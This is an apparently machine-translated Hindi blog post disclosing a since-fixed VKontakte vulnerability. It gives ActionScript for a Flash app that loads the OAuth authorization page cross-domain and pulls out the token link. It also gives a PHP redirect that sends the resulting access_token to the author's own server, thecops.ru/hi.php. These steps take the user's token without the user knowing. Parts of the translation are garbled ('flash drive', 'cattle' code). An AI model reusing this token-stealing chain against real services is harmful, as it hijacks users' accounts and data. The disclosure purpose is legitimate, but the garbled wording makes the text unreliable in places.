हम उपयोगकर्ता के ज्ञान के बिना Vkontakte Api विधियों तक पहुँच प्राप्त करते हैं

प्रविष्टि

यह भेद्यता मेरे द्वारा लगभग दो महीने पहले, या इससे भी अधिक पाई गई थी।
फिर डेवलपर्स को जानकारी भेजी गई, और उन्होंने इसे सफलतापूर्वक ठीक कर लिया।
जैसा कि मुझे उस समय लग रहा था।

जल्द ही यह स्पष्ट हो गया कि उन्होंने इसे बिल्कुल ठीक नहीं किया है, लेकिन केवल संदेशों तक सीमित पहुंच है, जो मैंने उस समय डेवलपर्स का ध्यान आकर्षित किया था।

पहुंच प्राप्त करने की प्रक्रिया, मैं कट के तहत पर्याप्त विस्तार से वर्णन करने का प्रयास करूंगा।

खोज

दरअसल यह विचार कि उपयोगकर्ता के ज्ञान के बिना आपी को एक्सेस करना संभव है, जैसे ही मैंने स्टैंडअलोन अनुप्रयोगों के लिए तरीकों के साथ काम करना शुरू किया।
उस समय, VKontakte ने पहले से ही oauth प्राधिकरण का उपयोग किया था।

विशेष रूप से मुश्किल कुछ भी नहीं था, बस ओउथ प्राधिकरण एपीआई 2.0 के साथ एक ही डोमेन पर था, और, तदनुसार, क्रॉसडोमेन.एक्सएमएल फ़ाइल के साथ, जो आपको किसी भी सर्वर से अनुरोधों को निष्पादित करने की अनुमति देता है।

बिना किसी हिचकिचाहट के, मैंने एक कार्यान्वयन लिखना शुरू कर दिया।

के उपयोग

मैंने पाठकों को तुरंत दो चीजों के बारे में चेतावनी दी है:

• मेरा तरीका थोड़ा अजीब लग सकता है।
• मेरा कोड बल्कि मवेशी है, लेकिन, दुर्भाग्य से, मुझे नहीं पता कि अन्यथा कैसे।

मेरी कपटपूर्ण योजना का अर्थ है कि उपयोगकर्ता को एक फ्लैश एप्लिकेशन को निर्देशित किया जाएगा जो एक प्राधिकरण पृष्ठ को आग लगा देगा, और फिर प्राधिकरण लिंक को छोड़ देगा।

चलो चलते हैं।

एक बिंदु - फ्लैश आवेदन।

चूंकि फ्लैश ड्राइव नि: शुल्क क्रॉस-डोमेन अनुरोधों को निष्पादित कर सकता है, जहां कहीं भी उचित क्रॉसडोमेन। xml है - यह एक प्राधिकरण लिंक को सटीक रूप से प्राप्त करने का एकमात्र तरीका था।

फ्लैश ड्राइव कोड सीधा है, और शायद यह सबसे कठिन हिस्सा है, कम से कम मेरे लिए, क्योंकि मैं लगभग ActionScript नहीं जानता।

import flash.net.URLLoader; import flash.net.URLRequest; import flash.events.Event; var auth_page = new URLLoader(); this.addEventListener( Event.ADDED_TO_STAGE, onAddedToStage ); function onAddedToStage(e: Event): void { auth_page.addEventListener(Event.COMPLETE, auth_load); //   auth_page.load(new URLRequest('http://api.vkontakte.ru/oauth/authorize?client_id=2725857&scope=offline,ads,notifications,groups,wall,questions,offers,pages,notes,docs,video,audio,photos,friends,notifi&redirect_uri=http://api.vk.com/blank.html&display=page&response_type=token')); } function auth_load(e:Event):void { var wrapper: Object = Object(parent.parent); var auth_str = auth_page.data; trace(); //   iframe ,       wrapper.external.navigateToURL(new URLRequest('http://vkontakte.ru/app2725881#'+auth_str.toString().substr(auth_str.indexOf("location.href")+17, 162))); } 

एक छोटी सी चाल है।
यह सिर्फ इतना है कि एक फ़्लैश एप्लिकेशन ब्राउज़र सुरक्षा नीतियों के कारण पुनर्निर्देशित नहीं कर सकता है।
लेकिन वीके के पास या बल्कि था, अब इसे डॉक्स से हटा दिया गया है, जो वीकेओंटकैट के अंदर एक पृष्ठ पर एक उपयोगकर्ता को पुनर्निर्देशित करने की एक विशेष विधि है।
हालाँकि, यह एक विशेष समस्या नहीं बनी, क्योंकि वहाँ iframe अनुप्रयोग हैं जहाँ वे चाहते हैं पुनर्निर्देशित कर सकते हैं।

दो बिंदु - iframe आवेदन।

Iframe एप्लिकेशन में, हमें उपयोगकर्ता को निर्दिष्ट url पर पुनर्निर्देशित करना होगा, जिससे कुछ प्रतिस्थापन हो जाएंगे।

 <? header('Location: '.str_replace(array('https','blank.html'), array('http', '//thecops.ru/hi.php'), $_GET['hash']))); ?> 

यह किया जा सकता है।
Hi.php पेज पर हमें access_token मिलता है, जिसमें संदेशों को छोड़कर सभी तरीकों के अधिकार हैं।

एक अच्छा उदाहरण, आप यहां देख सकते हैं।
आपका ध्यान देने के लिए धन्यवाद।
युपीडी:
उत्पादन को ठीक करें, हालांकि बहुत चालाकी से।
उदाहरण अब मान्य नहीं है।